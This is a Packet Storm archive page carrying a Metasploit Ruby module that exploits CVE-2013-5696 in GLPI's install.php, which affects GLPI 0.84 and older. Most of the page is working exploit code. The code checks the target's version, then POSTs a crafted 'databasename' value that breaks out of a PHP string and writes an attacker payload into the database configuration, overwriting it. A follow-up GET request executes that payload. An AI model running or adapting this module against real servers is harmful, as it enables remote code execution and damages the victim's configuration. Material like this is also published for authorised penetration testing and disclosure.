exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GLPI install.php Remote Command Execution

GLPI install.php Remote Command Execution
Posted Sep 20, 2013
Authored by Tristan Leiter | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in the GLPI 'install.php' script. Users should use this exploit at his own risk, since it's going to overwrite database configuration.

tags | exploit, arbitrary, php
advisories | CVE-2013-5696
SHA-256 | 79ddcfadea6c138a29a453a0dc3ff975e1ac590cc8150a6246c57abfb76852b1

GLPI install.php Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking # Application database configuration is overwritten

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'GLPI install.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
GLPI 'install.php' script. Users should use this exploit at his own risk,
since it's going to overwrite database configuration.
},
'Author' =>
[
'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-5696' ],
[ 'URL', 'https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html' ],
[ 'URL', 'http://www.glpi-project.org/forum/viewtopic.php?id=33762' ],
],
'Privileged' => false,
'Platform' => ['php'],
'Payload' =>
{
'Space' => 4000,
'BadChars' => "#",
'DisableNops' => true,
'Keys' => ['php']
},
'Arch' => ARCH_PHP,
'Targets' => [[ 'GLPI 0.84 or older', { }]],
'DisclosureDate' => 'Sep 12 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/'])
], self.class)
end

def uri
return target_uri.path
end

def check
# Check if the GLPI instance is vulnerable
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
})

if not res or res.code != 200
return Exploit::CheckCode::Safe
end

re = '(version)(\\s+)(.*)(\\s+)(Copyright)'
m = Regexp.new(re, Regexp::IGNORECASE)
matched = m.match(res.body)
if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/
print_good("Detected Version : #{matched[3]}")
return Exploit::CheckCode::Appears
elsif matched
print_error("Version #{matched[3]} is not vulnerable")
end
return Exploit::CheckCode::Safe

end

def exploit
print_status("Injecting the payload...")
rand_arg = Rex::Text.rand_text_hex(10)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'install/install.php'),
'vars_post' =>
{
'install' => 'update_1',
'db_host' => 'localhost',
'db_user' => 'root',
'db_pass' => 'root',
'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*"
}
})

unless res and res.code == 200 and res.body =~ /You will update the GLPI database/
print_warning("Unexpected response while injecting the payload, trying to execute anyway...")
end

print_status("Executing the payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' =>
{
rand_arg => '1',
}
})
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close